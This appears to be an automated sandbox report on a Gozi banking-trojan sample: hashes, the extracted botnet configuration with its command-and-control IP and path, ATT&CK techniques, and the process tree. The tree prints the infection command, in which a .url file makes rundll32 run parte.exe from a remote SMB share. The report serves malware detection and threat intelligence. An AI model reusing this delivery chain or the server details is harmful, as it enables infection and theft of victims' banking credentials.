gozi | 433c422e6f77272d13d7cb0049aa6e24dd9da5c7f2017f7e5249ab8524b5cb27

Analysis

max time kernel
146s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
10-10-2023 12:19

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General

Target

Cliente.url
Size

191B
MD5

3fca98849887f4640255b50f69ee9206
SHA1

d560638acf8911800b080809c1c5dee4eb2b9d9d
SHA256

420c6c6ee2d0fb0c3797a919419fda32987ce9e58d0c121e278856d9e0615ce1
SHA512

3e979b15552ebf16e2e4e7a061cf7bf8eab8d681cbc263af0d62b3752ff6a6743c3c9b7913f9caa7c4a6cc64ad84d7b250a39bd3507c40af8b86c2239e18bd8f

Score

10^/10

gozi 5050 banker isfb trojan

Malware Config

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

5050

193.203.162.14

Attributes

base_path
/jerry/
build
250260
exe_type
loader
extension
.bob
server_id
50

rsa_pubkey.plain

aes.plain

Signatures

Gozi
Gozi is a well-known and widely distributed banking trojan.
banker trojan gozi

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Control Panel\International\Geo\Nation	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

rundll32.exe

description	pid	process	target process
PID 2944 wrote to memory of 4604	2944	rundll32.exe	parte.exe
PID 2944 wrote to memory of 4604	2944	rundll32.exe	parte.exe
PID 2944 wrote to memory of 4604	2944	rundll32.exe	parte.exe

C:\Windows\System32\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\Cliente.url
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2944

\??\UNC\62.173.146.71\scarica\parte.exe
"\\62.173.146.71\scarica\parte.exe"
2⤵
PID:4604

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

memory/4604-1-0x0000000002460000-0x0000000002560000-memory.dmp

Filesize
1024KB

Download
memory/4604-2-0x0000000002430000-0x000000000243B000-memory.dmp

Filesize
44KB

Download
memory/4604-3-0x0000000000400000-0x0000000002287000-memory.dmp

Filesize
30.5MB

Download
memory/4604-4-0x0000000002450000-0x000000000245D000-memory.dmp

Filesize
52KB

Download
memory/4604-7-0x0000000000400000-0x0000000002287000-memory.dmp

Filesize
30.5MB

Download
memory/4604-8-0x0000000002460000-0x0000000002560000-memory.dmp

Filesize
1024KB

Download
memory/4604-9-0x0000000002430000-0x000000000243B000-memory.dmp

Filesize
44KB

Download